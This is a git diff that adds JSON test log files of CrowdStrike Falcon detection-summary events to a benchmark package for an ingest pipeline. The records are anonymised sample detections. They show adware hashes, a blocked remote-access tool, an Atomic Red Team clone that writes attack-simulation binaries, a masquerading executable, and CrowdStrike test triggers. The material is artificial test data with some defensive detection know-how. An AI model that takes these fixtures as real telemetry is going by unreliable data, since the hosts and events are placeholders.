diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
new file mode 100644
index 0000000000..312136faa4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"DetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1686845212400,"ProcessEndTime":0,"ProcessId":123123,"ParentProcessId":321321,"ComputerName":"ELASTICHOST","UserName":"ELASTICUSER","DetectName":"NGAV","DetectDescription":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":2,"SeverityName":"Low","FileName":"TESTFILE.exe","FilePath":"\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE","CommandLine":"\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding","SHA256String":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","MD5String":"49f30e09200e7b59edc5ef32fbd0442c","SHA1String":"7e54a24d4df5b7fe4a75d7ce1c027705c368666b","MachineDomain":"INTERNAL","NetworkAccesses":[{"AccessType":0,"AccessTimestamp":1686845157,"Protocol":"TCP","LocalAddress":"10.0.0.1","LocalPort":53517,"RemoteAddress":"67.43.156.1","RemotePort":443,"ConnectionDirection":0,"IsIPV6":false},{"AccessType":0,"AccessTimestamp":1686845158,"Protocol":"TCP","LocalAddress":"10.0.0.2","LocalPort":53518,"RemoteAddress":"67.43.156.1","RemotePort":80,"ConnectionDirection":0,"IsIPV6":false}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID","SensorId":"sensorid123","IOCType":"hash_sha256","IOCValue":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","DetectId":"detect::id::test","LocalIP":"89.160.20.112","MACAddress":"1c-2d-b3-4a-56-7e","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"","ParentCommandLine":"","GrandparentImageFileName":"","GrandparentCommandLine":"","HostGroups":"hostgroupsID","AssociatedFile":"\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe","PatternId":5728}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
new file mode 100644
index 0000000000..b9deb927b5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
@@ -0,0 +1,15 @@
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}}
+{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice  /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}}
+{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}}
+{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}}
